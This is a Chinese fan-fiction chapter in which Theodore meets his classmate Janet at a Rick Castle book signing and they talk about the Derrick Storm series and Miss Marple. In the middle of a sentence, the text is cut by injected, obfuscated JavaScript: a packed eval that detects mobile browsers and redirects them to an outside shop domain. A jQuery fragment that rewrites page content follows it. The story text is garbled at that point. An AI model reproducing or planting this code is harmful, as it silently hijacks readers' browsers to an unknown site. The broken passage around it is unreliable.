七月的东海岸很热。
热浪从柏油路面上蒸腾起来，连空气都带着一股黏腻的味道。路面被晒得发软，踩上去有一种不真实的弹性。狄奥多从地铁站出来，衬衫后背已经湿了一片。他抬手又松开一颗扣子，看看眼前的街道——哪怕是炎热的夏日依然是人山人海。
百老汇大道上挤满了人。狄奥多往前走了一段，却发现那人潮不只是那种周末逛街的松散人群，而还有在荫蔽下排着队的、手持书籍的、不时踮脚张望前方队伍进度的、统一朝着某个方向缓慢移动的队列。狄奥多跟着人流走了半条街，才看清队伍尽头那家书店的招牌——这家曼哈顿最大的连锁书店，门口拉起了隔离带，两侧立着海报：黑色背景上金色字体，“里克·卡塞尔-德里科·斯托姆系列-《风暴停歇之时》-新书签售会”。
两周前，卡塞尔的新作《风暴停歇之时》刚发售，一时兴起的他和克洛伊在就近的书店排了半小时队，轮到两人时最后一本刚好被前面的人买走了。克洛伊叹了口气，说没事，我们下次再来吧。
这就是狄奥多现在在这里的原因。想着最大的书店肯定有最多的货源——却没想到正好遇上了签售会。
狄奥多看了一眼贴在玻璃门上的手写告示：
“里克·卡塞尔签售会。限前400名。已满。”
他倒是不需要签名。他只买书。
狄奥多越过人群，径直走到书架边——这下连找都不用找了，前厅来摆的全是这本书。被人山人海挡住的另一边，甚至还坐着那位狄奥多现在根本看不到庐山真面目的作者本人。
狄奥多看看人群，啼笑皆非地摇摇头，随手拿起一本。
希望凯伦会喜欢。
眼前是成堆的《风暴停歇之时》整整齐齐地码在台面上。狄奥多打开手上这本，翻了翻，确认没有折角或者污渍，正准备拿去结账——
“你也喜欢里克·卡塞尔？”
一个声音从旁边冒出来，带着点雀跃的调子。
怎么有点熟悉？
狄奥多侧过头。一个扎着低马尾的姑娘正站在展示书架前，手里抱着三四本书，最上面那本封面是蓝色的，用黑色印着一个带着微笑面具与高礼帽的特别剪影。她歪着头看他，棕色的短发遮住耳朵，表情介于惊讶和开心之间。白色的波点纱外套套在粉色T恤外面，鼻梁上架着一副圆框眼镜，镜片后面的眼睛亮晶晶的。
居然是简内特。
“狄奥多？”简内特看清狄奥多的脸，表情中更多了几分惊喜，“你怎么在这儿？”
“买书。”狄奥多扬了扬手里的黑色封面，“上次没买到，只好顶着烈日炎炎再跑一趟咯。”
“《风暴停歇之时》！”简内特凑过来看了一眼，眼睛更亮了。她有的时候笑起来眼睛会眯成一条缝，不知怎地狄奥多一看到她这表情心里就有点打怵，可能是出于某种直觉的警报——
“这可是德里科·斯托姆系列的最新作！难道你也是来参加签售会的？”
说着，简内特自己又皱起了眉头——眼前的金发青年轻装简行，随意拿起架上展示书的样子实在不像一个有备而来的忠实粉丝。
“等等，你居然不知道？”简内特的声音拔高了一点，但很快又压了下去，毕竟在书店里保持安静是某种不成文的规矩，哪怕现在的书店大厅已经吵得不成样子了，“里克·卡塞尔啊！特工德里科·斯托姆的最新故事！他本人亲笔签售会！”
她激动得差点把怀里的书掉地上，赶紧用下巴抵住最上面那本。
“我已经拿到号码牌了，在这里逛逛等场务叫号。”简内特两眼放光，“前面还有大概……三十个人？希望到我的时候他还没签累。”
狄奥多看了一眼队伍前进的速度，大概估算了一下：“应该没问题。”
“希望吧。”简内特叹了口气，又看了他一眼，突然反应过来，露出一个哭笑不得的表情，“哎呀，那个排队是领号码牌的，我一大早就来了，已经领到了！那个——”
简内特把怀里的书都用左臂抱紧，右手手指一指：
“那群人才是在等签售的。”
狄奥多顺着简内特的指尖看去，这才从看热闹的人群缝隙间发现那张盖着酒红色绒布的长桌，正好放在空调吹的舒服的位置上。桌前排着五六个人，隐约能看到桌后坐着一个衣着考究的英俊中年男人。
“所以，你就只是来买《风暴停歇之时》？”
简内特的疑问在身侧响起，狄奥多不再好奇人群熙攘的源头，看向自己的同学：
“嗯。送人的。”
“送人？”简内特的表情变得有点微妙，“你不自己看？”
“嗯……”狄奥多犹豫了一下，“看。这本是礼物，是特别的；我自己看的，我再另外买一本。”
简内特盯着他看了两秒，似乎在判断他是不是在开玩笑，然后摇了摇头：“倒也挺有道理。不过既然你这么说，想来也不是这个系列的忠实粉丝咯。”
狄奥多没反驳。他只是侧了侧身，让开了一个推着婴儿车的路人。队伍又往前挪了几步，随着服务员手边号牌的减少而变得有些躁动。简内特看了一眼，拉着狄奥多往书店里侧人少的地方挪了几步。
“你等会儿有事吗？”她问。
“没有。”
“那你陪我聊会儿天？等号怪无聊的。”简内特扬了扬手里的书，“给我一个安利的机会呗。”
狄奥多看了一眼队伍的长度，又看了一眼简内特脸上那种“你不答应我就在小组群里说你不合群”的表情，把书换到左手，往队伍旁边的墙根挪了半步。
“行。”
简内特满意地点了点头，把怀里那摞书换了个姿势，最上面那本蓝色的被她换到了最下面，狄奥多这时才看清那本小说的名字：《暗夜男爵》。
听起来倒像是什么英雄奇幻小说。狄奥多暗忖。
简内特没注意狄奥多好奇的眼神，径自翻开了手上那本《风暴停歇之时》的扉页。
“你看过这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553555|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个系列吗？”简内特的语气又兴奋起来了。
“看过几本。”狄奥多很诚实。他确实看过这位德里科·斯托姆特工的几个故事，毕竟凯伦从初中起就是卡塞尔的忠实书迷了。但要说有多热衷，又根本谈不上。他就只看过一遍，就是他看的第一遍。狄奥多天生就不是一个对故事感兴趣的孩子，他更青睐事实与结果。
平时比专业记者还敏锐的简内特此时却没注意到狄奥多的委婉，完全沉浸在了自己热爱的奇幻世界里：
“那你应该知道德里科·斯托姆这个角色——CIA特工，专门处理那些‘官方不方便出面’的事情。卡塞尔的写法很有意思，他不把斯托姆写成那种无所不能的英雄，或者一个歌剧魅影；他有弱点，会犹豫，会选错。当然！这不代表我就不喜欢穿着西装与披风、来去无踪的暗夜男爵了。”
简内特的补充来得很快，狄奥多甚至来不及告诉她他今天是第一次听说《暗夜男爵》这个作品。女孩的手指在扉页上点了点：“不过最吸引我的不是斯托姆本人，而是他的对手——那个戴着狂欢节假面的老绅士。你知道是谁吗？”
狄奥多想了想，从模糊的回忆里找到一个身影：“第三本结尾，作者暗示他曾是斯托姆的导师。但我觉得也有可能是在误导观众，他只是被渲染成一个博学多识的假好人。我们只能看到斯托姆曾经信任他，这完全是管中窥豹。”
“对！看来你没接着追后续了。你知道第四本有个配角又说他们是双胞胎兄弟吗？”简内特挑眉，表情像接到战书般跃跃欲试，“卡塞尔在故意放烟雾弹。我赌五块钱，卡塞尔先生根本没想好让他成为某个人，他现在在卡塞尔先生脑子里恐怕还是一个概念。”
“一个概念？”
“就是‘每个人都有可能成为那个面具底下的人’之类的。”简内特把书合上，抱回怀里，“不过若真是这种结局，读者肯定会骂死作者。所以卡塞尔先生肯定还是会选一个人来当。”
狄奥多听着，嘴角动了一下。场务叫号了，简内特看了一眼，发现还没到自己，就又看了回来。
“你最喜欢哪个侦探？”简内特眼珠子转了转，忽然问。
这还真有点难倒了狄奥多。这个问题他以前没认真想过。他读侦探小说更多是为了放松，不怎么挑，也不热衷于解开那些谜团。福尔摩斯、波洛、马普尔等等他都看过，谈不上“最”。
“马普尔小姐吧。”狄奥多认真地想了好一会儿才回答道。
简内特的眼睛“噔”地亮了起来。她猛地转过身，差点撞上后面路过的人。女孩赶忙道歉，闪到一边，然后压低声音对狄奥多说：“我也是！”
她的兴奋几乎要从语气里溢出来——
“你知道为什么吗？因为马普尔小姐用的是‘常识’。她不靠法医、不靠高科技、不靠枪战，她就靠对人性的了解。”简内特的话又快又密，“她就坐在那个小村子里，织织毛衣，听听八卦，然后就能说出‘凶手就是那个看起来最不可能的人’。这太酷了。”